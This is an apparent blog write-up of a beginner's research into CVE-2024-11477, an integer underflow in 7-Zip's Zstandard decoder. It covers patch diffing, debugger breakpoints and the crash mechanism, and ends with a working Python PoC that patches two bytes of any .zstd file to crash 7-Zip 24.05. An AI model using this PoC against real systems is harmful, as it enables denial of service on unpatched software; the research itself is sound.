Crashing 7Zip: Understanding a DoS PoC for CVE 2024 11477
Introduction
I am new to vulnerability research, and this blog covers my understanding and a failed attempt to create n-day RCE exploit for CVE-2024-11477.
The NVD page mentions this as an RCE vulnerability, but there is no publicly available PoC for RCE. I picked this vulnerability for research in the hope of getting closer to RCE, but couldn’t get there.
In this blog I am covering my attempt, thought process, and understanding of CVE-2024-11477. Still, I was able to achieve DoS (crashing the application) by modifying 2 bytes in a simple .zstd compressed file. I have also created a Python script to identify the offset and modify those 2 bytes.
For this hunt I chose CVE-2024-11477 for 3 reasons 1. CVE-2024-11477 is not very old not very new 2. Simplicity of the bug, NVD describes this bug as 7-Zip Zstandard Decompression Integer Underflow Remote Code Execution Vulnerability. 3. Only 2 public blogs were posted on the internet which mentioned RCE is hard to achieve but DoS is possible.
ZSTD compression and decompression is a complex algorithm, and that’s why I chose to stop at DoS.
When I was stuck in my research I took reference and guidance from this nicely explained blog: : TheN00bBuilder’s writeup
Impact of this vulnerability
Although DoS on a client-side app like 7-Zip does not sound that critical, there are many vendors which use this open-source 7-Zip functionality to achieve various operations of their application. And in such cases, this vulnerability can become a point of failure for the entire application and result in DoS on the server application or maybe an RCE.
Netapp shared an advisory associated with this vulnerablitiy. 
Discovering the Bug
NVD mentions when 7-Zip tries to decompress the file compressed by ZSTD algorithm, there is a flaw in the implementation of 7-Zip’s ZSTD decompression logic, where user-supplied data is not validated for a bound check.
I checked 7-Zip release history and found exactly this; however, on GitHub the developer just mentioned the flaw is about crashing 7-Zip (RCE was not mentioned here too).
From version 24.05 7-Zip added capability to unpack ZSTD archives.
Version 24.07 mentions The bug was fixed: 7-Zip could crash for some incorrect ZSTD archives.
Capability to decompress ZSTD was added on May 16, 2024, the vulnerability was reported on June 12, 2024, and the bug was fixed on June 19, 2024.
Patch Diffing
After downloading the executable for 2405 from GitHub and banging my head for a few hours with disassembly, I realized this is an open-source project and I can easily look into available source code to identify the vulnerability. (Yikes.)
I downloaded https://github.com/ip7z/7zip/archive/refs/tags/24.07.zip and https://github.com/ip7z/7zip/archive/refs/tags/24.05.zip
In 24.05 version I searched for any code related to ZSTD. 
Entire ZSTD decompression logic is implemented in ZstdDec.c file. Using diff command I compared ZstdDec.c from 24.05 and 24.07
At line 1311 there was a change and few other lines after that. Lets compare the source code at these lines.
Left side is 24.07 and right side is 24.05
The changes in the code are, in 24.05 version variable sym is stored in Byte and then directly saved in table[0], whereas in 24.07 version variable sym is stored in unsigned and is checked against a maximum value macro and only then saved to table[0].
By reading this I understood I have to find the following in order to trigger this vulnerability,
- what value from a
ZSTDarchive is read by the variablesym - Modify the
ZSTDfile at that particular offset to achieve DoS
I tried to trace backwards to find what value or area of input file is used for variable sym, I could not make sense of the entire ZstdDec.c code but I was able to understand the call flow to reach this vulnerable code section.
"CPP/7zip/Archive/Zip/ZipHandler.cpp" included ZstdDecoder
"CPP/7zip/Compress/ZstdDecoder.cpp" calls ZstdDec_Decode() which is defined in "C/ZstdDec.c"
From "C/ZstdDec.c"
ZstdDec_Decode() -> ZstdDec_DecodeBlock() -> ZstdDec1_DecodeBlock() -> FSE_Decode_SeqTable() -> Decompress_Sequences()
Detailed flow with target sym variable tracing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
SRes ZstdDec_Decode(CZstdDecHandle dec, CZstdDecState *p){
res = ZstdDec_DecodeBlock(dec, p, size);
}
↓
↓
static SRes ZstdDec_DecodeBlock(CZstdDec * const p, CZstdDecState * const ds, SizeT winLimitAdd){
const Byte *src = ds->inBuf;
comprStream = src;
sres = ZstdDec1_DecodeBlock(&p->decoder, comprStream, p->blockSize, afterAvail, outLimit);
}
↓
↓
SRes ZstdDec1_DecodeBlock(CZstdDec1 *p, const Byte *src, SizeT inSize, SizeT afterAvail, const size_t outLimit){
CInBufPair in;
in.ptr = src;
RINOK(FSE_Decode_SeqTable(
p->fse.ll,
&in,
6, // predefAccuracy
&p->ll_accuracy,
NUM_LL_SYMBOLS,
k_PredefRecords_LL,
seqMode))
}
↓
↓
FSE_Decode_SeqTable(CFseRecord * const table,
CInBufPair * const in, unsigned predefAccuracy, Byte * const accuracyRes, unsigned numSymbolsMax, const CFseRecord * const predefs, const unsigned seqMode){
const Byte *ptr = in->ptr;
const Byte sym = ptr[0];
}
Now we have to find this flow in the executable inside a disassembler. From here there are 2 ways I might have approached to find the flaw in the executable,
- Compile the 7-Zip executable from source code with all the debugging symbols; this would help me to reach the vulnerable code sooner.
- Use the stripped version of 7-Zip executable available in the release section.
Obviously, option 1 makes more sense, but I chose option 2 because I was not very sure about how to compile the source to the exe and it might require me to do a dev setup (anyways). And later while researching for the bug I realized Option 2 was really not a good option, but I continued.
I loaded 7z.exe in Ghidra and tried multiple approaches with all nonsense to reach this part of assembly, but after so much head banging I got to know the function FSE_Decode_SeqTable which I am searching for is not part of 7z.exe but was part of another DLL, and this was loaded by the 7z.exe code at runtime. :( After more digging I got to know how important it is to read makefile to understand such projects. With help of makefile I found ZstdDec.c is compiled in 7z.dll library.
There are 2 files which include ZstdDec.obj 1. 7za.exe and 7z.dll
Now I needed a simple ZSTD compressed file to find how it is decompressed in a debugger ( windbg ) python3 -c "print('A'*1000)" > a.txt I used linux zstd command line to create this archive. I created a file a.txt with multiple A char repeated. zstd a.txt -o a.zstd
Debugging the bug
Another head banger for me was to restart the process in the debugger again and again to find what’s going on, and that’s where I saw the TTD option in the debugger and I tried it and to my surprise TTD was perfect for this scenario because the execution steps will be exactly the same every time. I loaded executable command 7z.exe x a.zstd in the debugger using TTD. Then I discovered magic of LINQ queries. My first query to immediately jump to the step when 7z.dll is loaded in the code, dx @$curprocess.TTD.Events.Where(t => t.Type == "ModuleLoaded").Where(t => t.Module.Name.Contains("7z.dll")) TTD was really helpful to move forward and backward with the same known address ranges.
This worked like a charm, and then after more headbanging I almost gave up. Then I thought to try ghidraMCP to just check the steps which I have done till now and to find how efficient LLM would do these. To my surprise, usage of LLM at this point accelerated my research. I used LLM here to mainly find the disassembly of FSE_Decode_SeqTable. Using this pivot point I found the flow similar to C code flow.
below mentioned BP’s can be referred by anyone doing similar research on stripped 7-zip project.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ bp 7z_exe+0x3a1d7
to break after loading 7z.dll
$ bp 7z_dll+0x1379d0
to break 7z.dll ZstdDec1_DecodeBlock
$ bp 7z_dll+0x137c69
to break ZstdDec1_DecodeBlock -> before FSE_Decode_SeqTable() calc seqmode
$ bp 7z_dll+0x137c7c -> ZstdDec1_DecodeBlock -> extracts mode //line 2523 in ZstdDec.c
$ bp 7z_dll+0x137c95 -> ZstdDec1_DecodeBlock -> shr 6 - first 2 bits of mode is extracted - seqmode //line 2527
$ bp 7z_dll+0x137cdb -> ZstdDec1_DecodeBlock -> calls zstd_FSE_Decode_SeqTable() with seqmode
$ bp 7z+0x1370da -> zstd_FSE_Decode_SeqTable -> extracts next byte to mode from input file and typecast it to byte , and there is no bound check after this line
Vulnerability Found
This variable is then used by function Decompress_Sequences which results in access violation and crashing of application.
I found this flow but not with the a.zstd I created, because this file never reaches zstd_FSE_Decode_SeqTable function. I tried to understand why and with what I had I was not able to reach the conclusion, at this point I read the publicly available blog about this vulnerability TheN00bBuilder’s writeup After reading this I could not understand much, but clearly I have explored ZstdDec.c very less as compared to what is required. My next step was to use https://GitHub.com/TheN00bBuilder/cve-2024-11477-writeup/blob/main/segfault.zstd
And this time zstd_FSE_Decode_SeqTable executed, I didn’t understand why, but after comparing the normal a.zstd file and segfault.zstd I found a value called Symbol_Compression_Modes is responsible to decide whether zstd_FSE_Decode_SeqTable will be executed or not. In normal a.zstd file this mode was set to 0x00 and in segfault.zstd this was 0x54. After feeding RFC 8878 to LLM, I found
Symbol_Compression_Modes when set to 0x54 / 0b01010100 is asking program to read next 3 bytes such as LL, OL, & ML
| Bit Number | Field Name | | ———- | ——————– | | 7-6 | Literal_Lengths_Mode | | 5-4 | Offsets_Mode | | 3-2 | Match_Lengths_Mode | | 1-0 | Reserved | The 2nd byte OL is offset which is used to calculate the offset of compressed data and repeat it LL times ( first byte) ZSTD compression has upper limit to LL which should be less than 0x34 / 52 ( Refer RFC 8878 §3.1.1.3.2.1.1)
If we set this offset more than 0x34 we can trigger the vulnerability and achieve access violation.
1
2
3
4
5
6
7
8
9
10
11
Inside `Decompress_Sequences()`
vuln is at 7z_dll+0x1372a3 -> 48 2b f1 SUB RSI ,param_1 (RCX)
Decompress_Sequence function
RSI is 0x59 and it subtracts 0xff - which creates a negative value, this value is later used
to read the file at some offset
7z_dll+0x1373b5 4c8b0c1a mov r9,qword ptr [rdx+rbx] ds:000001d9`b59dfff9=????????????????
rbx is pointing to file at -4 offset from mode
and adding a negative value rdx ( rdx is taken from RSI) gives access violation
Basically, assembly at 7z_dll+0x1372a3 performs a subtraction from user supplied offset value, if this offset value is larger than the RSI, a negative offset is generated which when accessed at 7z_dll+0x1373b5 generates access violation.
This offset is 2nd byte to Symbol_Compression_Mode
PoC for access violation
To create a PoC .zstd file we have to modify 2 bytes in any given archive:
Symbol_Compression_modeset to0x54- 2nd byte after
SCMto0xff
Honestly, I tried reading the RFC and understanding the header - if not understanding it completely, but at least understanding how Symbol_Compression_Mode offset is calculated, but I couldn’t. :( Using this RFC fed to LLM, I created a Python function to calculate the SCM offset to create the final PoC.
Below PoC will modify 2 bytes in any normal .zstd archives to make it trigger the vulnerability.
I have tested this script on “a.txt”
python3 -c "print('A'*1000)" > a.txt
I did a poor job as an exploit developer here, but this was my first practical bug and to reach till this point itself made me realize how hard VR is. Anyways keep hustling, keep leveling up, see you!
Just use the .zstd created by this script against the vulnerable version of 7z and then you will be able to reproduce the bug.
1
2
3
4
5
6
7
Steps to reproduce
python3 -c "print('A'*1000)" > a.txt
zstd a.txt -o a.zstd
python3 poc.py a.zstd
// This will create moda.zstd
// Decompress moda.zstd with 7-Zip 24.05 to crash the application and get access violation.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
# poc.py
"""
Create a .zstd archive using zstd command line tool,
python3 -c "print('A'*1000)" > a.txt
because 7zip 2405 version does not support creating zstd archives but only decompressing them.
eg.
zstd -o a.txt a.zstd
now run this script to modify 2 bytes in this zstd archive such that it triggers DOS on 7z when it tries to extract this archvie.
eg.
python3 poc_cve_2024_11477.py a.zstd
this will create a new file called moda.zstd -> "mod"+"a.zstd"
"""
import shutil
import sys
def main():
shutil.copy(sys.argv[1], "mod"+sys.argv[1])
with open("mod"+sys.argv[1], "r+b") as fd:
data = fd.read()
scm_offset=get_scm_offset_claude(data)
"""
Changing Symbol_Compression_Modes value = 0x54 (01010100)
LL_mode = 1
OF_mode = 1
ML_mode = 1
And changing scm_offset+2 offset to 0xff - to trigger access violation
"""
fd.seek(scm_offset)
fd.write(bytes([0x54]))
fd.seek(scm_offset+2)
fd.write(bytes([0xff]))
print("Symbol Compression Mode offset :", hex(scm_offset),"\nModified SCM to 0x54 and SCM+2 offset to 0xff")
print("Created "+"mod"+sys.argv[1])
def get_scm_offset_claude(data):
# this function is written by claude based on RFC 8878
# ── STEP 1: Skip magic (always 4 bytes, always 0xFD2FB528) ────────────────
# offset 0x00-0x03 = magic, nothing to read
off = 4
# ── STEP 2: Frame_Header_Descriptor — 1 byte ──────────────────────────────
# This single byte tells us the size of every field that follows in the header
fhd = data[off]
fcsf = (fhd >> 6) & 0x3 # bits[7:6] → Frame_Content_Size_flag
ssf = (fhd >> 5) & 0x1 # bit[5] → Single_Segment_flag
did_flag = (fhd >> 0) & 0x3 # bits[1:0] → Dictionary_ID_flag
off += 1 # consumed the FHD byte
# ── STEP 3: Window_Descriptor — 0 or 1 byte ───────────────────────────────
# Present only when Single_Segment_flag == 0
# (when SSF=1 the window size equals Frame_Content_Size, no extra byte needed)
if ssf == 0:
off += 1 # skip Window_Descriptor byte
# ── STEP 4: Dictionary_ID — 0, 1, 2, or 4 bytes ──────────────────────────
# Size is determined by the 2-bit Dictionary_ID_flag in the FHD
dict_id_size = [0, 1, 2, 4][did_flag]
off += dict_id_size
# ── STEP 5: Frame_Content_Size — 0, 1, 2, 4, or 8 bytes ──────────────────
# Encoding table per RFC 8878 §3.1.1.1.4:
# fcsf=0 and ssf=0 → 0 bytes (field absent entirely)
# fcsf=0 and ssf=1 → 1 byte
# fcsf=1 → 2 bytes
# fcsf=2 → 4 bytes
# fcsf=3 → 8 bytes
if fcsf == 0 and ssf == 0: fcs_size = 0
elif fcsf == 0 and ssf == 1: fcs_size = 1
elif fcsf == 1: fcs_size = 2
elif fcsf == 2: fcs_size = 4
else: fcs_size = 8
off += fcs_size
# ── STEP 6: Block_Header — always 3 bytes ─────────────────────────────────
# Packed little-endian 24-bit integer:
# bit 0 → Last_Block
# bits [2:1] → Block_Type (2 = Compressed_Block, which has sequences)
# bits [23:3] → Block_Size (how many bytes the block body occupies)
block_header_offset = off
raw_bh = int.from_bytes(data[off:off+3], 'little')
block_type = (raw_bh >> 1) & 0x3
off += 3 # consumed block header
# block body starts here
block_body_offset = off
#print(f"block_body_offset = 0x{block_body_offset:02x}")
if block_type != 2:
print("Block_Type is not Compressed_Block — no Symbol_Compression_Modes in this block")
sys.exit(0)
# ── STEP 7: Literals_Section_Header — tells us how many bytes to skip ─────
# We need to skip the entire Literals_Section to reach the Sequences_Section.
# The first byte of the block body encodes the literals type and size format.
lit_header_byte0 = data[block_body_offset]
lit_type = lit_header_byte0 & 0x3 # bits[1:0]
size_fmt = (lit_header_byte0 >> 2) & 0x3 # bits[3:2]
if lit_type in (0, 1):
# Raw_Literals (0) or RLE_Literals (1)
# Header is 1, 2, or 3 bytes depending on size_fmt.
# The header encodes only Regenerated_Size (no separate Compressed_Size field).
if size_fmt in (0, 2):
lit_header_size = 1
regenerated_size = lit_header_byte0 >> 3 # top 5 bits of byte0
elif size_fmt == 1:
lit_header_size = 2
regenerated_size = (lit_header_byte0 >> 4) | (data[block_body_offset+1] << 4)
else: # size_fmt == 3
lit_header_size = 3
regenerated_size = ((lit_header_byte0 >> 4)
| (data[block_body_offset+1] << 4)
| (data[block_body_offset+2] << 12))
# For Raw: the literals stream IS the regenerated bytes (no compression)
# For RLE: the literals stream is exactly 1 byte (the repeated symbol)
literals_stream_size = 1 if lit_type == 1 else regenerated_size
else:
# Compressed_Literals (2) or Treeless_Literals (3)
# Header encodes both Regenerated_Size and Compressed_Size.
# We only need Compressed_Size to know how many bytes to skip.
if size_fmt in (0, 1):
# 3-byte header: 10 bits regen + 10 bits compressed
lit_header_size = 3
header_word = int.from_bytes(data[block_body_offset:block_body_offset+3], 'little')
compressed_size = (header_word >> 14) & 0x3FF
elif size_fmt == 2:
# 4-byte header: 14 bits regen + 14 bits compressed
lit_header_size = 4
header_word = int.from_bytes(data[block_body_offset:block_body_offset+4], 'little')
compressed_size = (header_word >> 18) & 0x3FFF
else:
# 5-byte header: 18 bits regen + 18 bits compressed
lit_header_size = 5
header_word = int.from_bytes(data[block_body_offset:block_body_offset+5], 'little')
compressed_size = (header_word >> 22) & 0x3FFFF
# The entire Huffman tree description + bitstream is compressed_size bytes
literals_stream_size = compressed_size
# Total bytes occupied by the Literals_Section inside the block body
literals_section_size = lit_header_size + literals_stream_size
#print(f"literals_section_size = {literals_section_size} bytes "f"(header={lit_header_size} + stream={literals_stream_size})")
# ── STEP 8: Sequences_Section starts right after the Literals_Section ──────
sequences_section_offset = block_body_offset + literals_section_size
#print(f"sequences_section_offset = 0x{sequences_section_offset:02x}")
# ── STEP 9: Number_of_Sequences — 1, 2, or 3 bytes ────────────────────────
# First byte determines encoding width:
# byte0 < 128 → 1-byte field, numSeqs = byte0
# byte0 < 255 → 2-byte field, numSeqs = ((byte0 - 128) << 8) + byte1
# byte0 == 255 → 3-byte field, numSeqs = byte1 + (byte2 << 8) + 0x7F00
num_seq_byte0 = data[sequences_section_offset]
if num_seq_byte0 < 128: num_seq_field_size = 1
elif num_seq_byte0 < 255: num_seq_field_size = 2
else: num_seq_field_size = 3
#print(f"num_seq_field_size = {num_seq_field_size} byte(s)")
# ── STEP 10: Symbol_Compression_Modes is the very next byte ───────────────
scm_offset = sequences_section_offset + num_seq_field_size
return scm_offset
if __name__ == '__main__':
if len(sys.argv) < 2:
print("argv[1] -> zstd archive")
exit(0)
main()
New things I learned during this research
- I had heard about Time Travel Debugging (TTD), but this was the first time I used TTD and LINQ queries.
- This was my first
x64exe after completing OSED. - Integer underflow vulnerability - till now, I only had experience with buffer overflows and format string vulns.






